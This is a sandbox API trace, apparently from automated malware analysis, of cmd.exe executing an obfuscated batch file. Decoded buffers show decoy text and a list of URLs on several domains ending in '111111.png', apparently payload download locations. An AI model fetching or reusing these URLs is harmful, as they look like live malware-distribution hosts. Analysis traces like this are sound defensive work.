_wcsicmp (_String1="Windows", _String2="VER") returned 1 [0212.059] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0212.059] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0212.059] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0212.059] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0212.059] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0212.059] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0212.060] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0212.060] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0212.060] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0212.060] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0212.060] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0212.060] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0212.060] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0212.060] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0212.060] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0212.060] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0212.060] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0212.060] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0212.060] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0212.060] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0212.060] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0212.060] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0212.060] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0212.060] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0212.060] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0212.060] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0212.060] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0212.060] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0212.060] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0212.060] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0212.060] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0212.060] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0212.060] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0212.061] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0212.061] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0212.061] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0212.061] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0212.061] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0212.061] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0212.061] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0212.061] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0212.061] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0212.061] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0212.061] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0212.061] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0212.061] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0212.061] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0212.061] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0212.061] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0212.061] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0212.061] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0212.061] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0212.061] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0212.061] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0212.061] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0212.061] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0212.061] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0212.061] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0212.061] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0212.061] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0212.061] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0212.062] ??_V@YAXPEAX@Z () returned 0x1 [0212.062] GetProcessHeap () returned 0x20b0f920000 [0212.062] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0212.062] GetProcessHeap () returned 0x20b0f920000 [0212.062] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xba) returned 0x20b0f9574b0 [0212.062] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0212.062] malloc (_Size=0xffce) returned 0x20b0fa80900 [0212.063] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0212.063] GetProcessHeap () returned 0x20b0f920000 [0212.063] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0212.065] SetErrorMode (uMode=0x0) returned 0x0 [0212.065] SetErrorMode (uMode=0x1) returned 0x0 [0212.065] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0212.065] SetErrorMode (uMode=0x0) returned 0x1 [0212.065] GetProcessHeap () returned 0x20b0f920000 [0212.065] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0212.065] GetProcessHeap () returned 0x20b0f920000 [0212.065] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0212.065] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0212.065] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0212.065] GetProcessHeap () returned 0x20b0f920000 [0212.065] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e0d0 [0212.065] GetProcessHeap () returned 0x20b0f920000 [0212.065] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0212.065] GetProcessHeap () returned 0x20b0f920000 [0212.065] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0212.065] GetProcessHeap () returned 0x20b0f920000 [0212.065] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0212.065] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0212.065] GetProcessHeap () returned 0x20b0f920000 [0212.065] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d690 [0212.065] GetProcessHeap () returned 0x20b0f920000 [0212.066] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d690, Size=0x7e) returned 0x20b0f92d690 [0212.066] GetProcessHeap () returned 0x20b0f920000 [0212.066] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d690) returned 0x7e [0212.066] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d0f0 [0212.066] FindClose (in: hFindFile=0x20b0f92d0f0 | out: hFindFile=0x20b0f92d0f0) returned 1 [0212.066] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.066] GetLastError () returned 0x2 [0212.066] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.067] GetLastError () returned 0x2 [0212.067] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.067] GetLastError () returned 0x2 [0212.067] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.067] GetLastError () returned 0x2 [0212.067] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.067] GetLastError () returned 0x2 [0212.067] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.068] GetLastError () returned 0x2 [0212.068] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.068] GetLastError () returned 0x2 [0212.068] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.068] GetLastError () returned 0x2 [0212.068] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.068] GetLastError () returned 0x2 [0212.068] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.069] GetLastError () returned 0x2 [0212.069] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.069] GetLastError () returned 0x2 [0212.069] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.069] GetLastError () returned 0x2 [0212.069] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d390 [0212.069] FindClose (in: hFindFile=0x20b0f92d390 | out: hFindFile=0x20b0f92d390) returned 1 [0212.070] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.070] GetLastError () returned 0x2 [0212.070] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.070] GetLastError () returned 0x2 [0212.070] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.070] GetLastError () returned 0x2 [0212.070] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.070] GetLastError () returned 0x2 [0212.071] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.071] GetLastError () returned 0x2 [0212.071] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.071] GetLastError () returned 0x2 [0212.071] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.071] GetLastError () returned 0x2 [0212.071] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.071] GetLastError () returned 0x2 [0212.072] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.072] GetLastError () returned 0x2 [0212.072] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.072] GetLastError () returned 0x2 [0212.072] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.072] GetLastError () returned 0x2 [0212.072] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.072] GetLastError () returned 0x2 [0212.072] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.073] GetLastError () returned 0x2 [0212.073] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.073] GetLastError () returned 0x2 [0212.073] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0212.073] GetLastError () returned 0x2 [0212.073] ??_V@YAXPEAX@Z () returned 0x1 [0212.074] _get_osfhandle (_FileHandle=2) returned 0x54 [0212.074] GetFileType (hFile=0x54) returned 0x2 [0212.074] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0212.074] _get_osfhandle (_FileHandle=2) returned 0x54 [0212.074] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0212.075] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0212.075] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0212.075] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0212.081] ??_V@YAXPEAX@Z () returned 0x1 [0212.082] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.082] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0212.083] _get_osfhandle (_FileHandle=1) returned 0x50 [0212.083] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0212.083] _get_osfhandle (_FileHandle=0) returned 0x4c [0212.083] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0212.083] SetConsoleInputExeNameW () returned 0x1 [0212.083] GetConsoleOutputCP () returned 0x1b5 [0212.084] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0212.084] SetThreadUILanguage (LangId=0x0) returned 0x409 [0212.084] ??_V@YAXPEAX@Z () returned 0x1 [0212.086] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0212.086] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0212.086] _get_osfhandle (_FileHandle=3) returned 0x9c [0212.086] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0212.086] GetProcessHeap () returned 0x20b0f920000 [0212.086] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d690) returned 1 [0212.086] GetProcessHeap () returned 0x20b0f920000 [0212.086] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0212.086] GetProcessHeap () returned 0x20b0f920000 [0212.086] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0212.086] GetProcessHeap () returned 0x20b0f920000 [0212.088] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0212.092] GetProcessHeap () returned 0x20b0f920000 [0212.093] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9574b0) returned 1 [0212.093] GetProcessHeap () returned 0x20b0f920000 [0212.093] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0212.094] GetProcessHeap () returned 0x20b0f920000 [0212.094] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0212.094] GetProcessHeap () returned 0x20b0f920000 [0212.094] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0212.094] GetProcessHeap () returned 0x20b0f920000 [0212.094] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0212.095] GetProcessHeap () returned 0x20b0f920000 [0212.095] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0212.099] GetProcessHeap () returned 0x20b0f920000 [0212.099] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0212.099] GetProcessHeap () returned 0x20b0f920000 [0212.099] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0212.099] GetProcessHeap () returned 0x20b0f920000 [0212.099] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0212.100] _get_osfhandle (_FileHandle=3) returned 0x9c [0212.100] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0212.100] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xbbd, lpOverlapped=0x0) returned 1 [0212.100] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3073, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc01 [0212.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\ndows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0212.100] _get_osfhandle (_FileHandle=3) returned 0x9c [0212.100] GetFileType (hFile=0x9c) returned 0x1 [0212.100] _get_osfhandle (_FileHandle=3) returned 0x9c [0212.100] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc01 [0212.100] GetProcessHeap () returned 0x20b0f920000 [0212.101] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0212.101] GetProcessHeap () returned 0x20b0f920000 [0212.101] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0212.101] _tell (_FileHandle=3) returned 3073 [0212.101] _close (_FileHandle=3) returned 0 [0212.101] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0212.102] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0212.102] _get_osfhandle (_FileHandle=3) returned 0x9c [0212.102] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3073, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc01 [0212.102] _get_osfhandle (_FileHandle=3) returned 0x9c [0212.102] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc01 [0212.102] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xbb4, lpOverlapped=0x0) returned 1 [0212.102] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3129, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc39 [0212.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=56, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" XP and is listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 56 [0212.102] _get_osfhandle (_FileHandle=3) returned 0x9c [0212.102] GetFileType (hFile=0x9c) returned 0x1 [0212.102] _get_osfhandle (_FileHandle=3) returned 0x9c [0212.102] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc39 [0212.102] GetProcessHeap () returned 0x20b0f920000 [0212.102] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0212.102] GetProcessHeap () returned 0x20b0f920000 [0212.102] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0212.103] _wcsicmp (_String1="XP", _String2=")") returned 79 [0212.103] _wcsicmp (_String1="FOR", _String2="XP") returned -18 [0212.103] _wcsicmp (_String1="FOR/?", _String2="XP") returned -18 [0212.103] _wcsicmp (_String1="IF", _String2="XP") returned -15 [0212.103] _wcsicmp (_String1="IF/?", _String2="XP") returned -15 [0212.103] _wcsicmp (_String1="REM", _String2="XP") returned -6 [0212.103] _wcsicmp (_String1="REM/?", _String2="XP") returned -6 [0212.103] GetProcessHeap () returned 0x20b0f920000 [0212.103] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0212.103] GetProcessHeap () returned 0x20b0f920000 [0212.103] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x16) returned 0x20b0f947160 [0212.103] GetProcessHeap () returned 0x20b0f920000 